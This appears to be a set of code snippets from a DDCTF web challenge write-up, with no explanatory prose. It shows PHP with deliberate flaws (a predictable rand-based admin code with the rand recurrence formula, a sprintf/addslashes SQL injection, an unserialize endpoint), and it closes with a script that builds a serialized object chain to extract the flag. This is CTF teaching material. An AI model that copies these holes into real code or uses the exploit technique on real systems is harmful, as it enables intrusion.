<?php

session_start();
include('config.php');

if($_SERVER['REQUEST_METHOD'] === "POST") {
    if(!(isset($_POST['csrf']) and (string)$_POST['csrf'] === $_SESSION['csrf'])) {
        die("CSRF token error!");
    }

    $admin = "admin###" . substr(str_shuffle('0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'), 0, 32);
    $username = (isset($_POST['username']) === true && $_POST['username'] !== '') ? (string)$_POST['username'] : die('Missing username');
    $password = (isset($_POST['password']) === true && $_POST['password'] !== '') ? (string)$_POST['password'] : die('Missing password');
    $code = (isset($_POST['code']) === true) ? (string)$_POST['code'] : '';
    if (strlen($username) > 32 || strlen($password) > 32) {
        die('Invalid input');
    }

    $sth = $pdo->prepare('SELECT username FROM users WHERE username = :username');
    $sth->execute([':username' => $username]);

    if ($sth->fetch() !== false) {
        die('username has been registered');
    }

    if($code === $admin) {
        $identity = "admin";
    } else {
        $identity = "guest";
    }
    ....

PHP_RAND_MAX = 2147483647
num[n] = (num[n-3] + num[n-31]) mod (PHP_RAND_MAX)

// index.php 截取关键代码
if(isset($_GET['id'])){
    $id = addslashes($_GET['id']);
    if(isset($_GET['title'])){
        $title = addslashes($_GET['title']);
        $title = sprintf("AND title='%s'", $title);
    }else{
        $title = '';
    }
    $sql = sprintf("SELECT * FROM article WHERE id='%s' $title", $id);

    foreach ($pdo->query($sql) as $row) {
        echo "<h1>".$row['title']."</h1><br>".$row['content'];
        die();
    }
}

<?php
class Justtry extends Base
{
    private $white = array('test', 'well','base','justtry');
    public $flag;
    public function __construct()
    {
        parent::__construct();
    }

    public function self($a='')
    {
        if (!in_array(strtolower($a), $this->white)) {
            exit('类不存在');
        }

        $res=$this->ref->getclassall($a);

        if (isset($res)) {
            echo $res;
        }
    }

    public function try($serialize)
    {
        unserialize(urldecode($serialize), ["allowed_classes" => ["Index\Helper\Flag", "Index\Helper\SQL","Index\Helper\Test"]]);
    }

    public function send()
    { //省略
    }
}

// Test.php
<?php
class Test
{
    public $user_uuid;
    public $fl;

    public function __construct()
    {
        echo 'hhkjjhkhjkhjkhkjhkhkhk';
    }

    public function __destruct()
    {
        $this->getflag('ctfuser', $this->user_uuid);
    }

    public function setflag($m = 'ctfuser', $u = 'default', $o = 'default')
    { // 省略
    }

    public function getflag($m = 'ctfuser', $u = 'default')
    {
        //TODO: check username
        // 需要知道id
        $user=array(
            'name' => $m,
            'id' => $u
        );
        //懒了直接输出给你们了
        echo 'DDCTF{'.$this->fl->get($user).'}';
    }
}

// Flag.php
<?php
class Flag
{
    public $sql;
    public function __construct()
    {
        $this->sql=new SQL();
    }
    public function get($user)
    {

        $tmp=$this->sql->FlagGet($user);
        if ($tmp['status']===1) {
            return $this->sql->FlagGet($user)['flag'];
        }
    }
}

<?php
public function FlagGet($user)
    {
        $this->dbc = new FLDbConnect();
        $this->pdo =  $this->dbc->getPDO();
        //TODO :CHECK UNIQUE
        $user['name']= $user['name'];
        $user['id']= $user['id'];

        $sth = $this->pdo->prepare('SELECT `username`,`flags`,`uuid` FROM `passflag` WHERE `uuid` = :uuid AND `username` = :name');
        $sth->bindValue(':uuid', $user['id'], $this->pdo::PARAM_STR);
        $sth->bindValue(':name', $user['name'], $this->pdo::PARAM_STR);
        if ($sth->execute()) {
            $result = $sth->fetch($this->pdo::FETCH_ASSOC);

            return array('status'=>1,'msg'=>'success','flag'=> $result['flags']);
        } else {
            return array('status'=>0,'msg'=>implode(' ', $this->pdo->errorInfo()));
        }
    }

<?php
namespace Index\Helper;
class SQL
{
    public $dbc;
    public $pdo;
    public function __construct()
    {

    }
}

class Flag
{
    public $sql;
    public function __construct()
    {
        $this->sql=new SQL();
    }
}

class Test
{
    public $user_uuid;
    public $fl;

    public function __construct()
    {
        echo 'hhkjjhkhjkhjkhkjhkhkhk';
    }

}
$a = new Test;
$a->fl = new Flag;
$a->user_uuid = '4eaee5db-2304-4d6d-aa9c-962051d99a41';
$b = serialize($a);
echo $b;
?>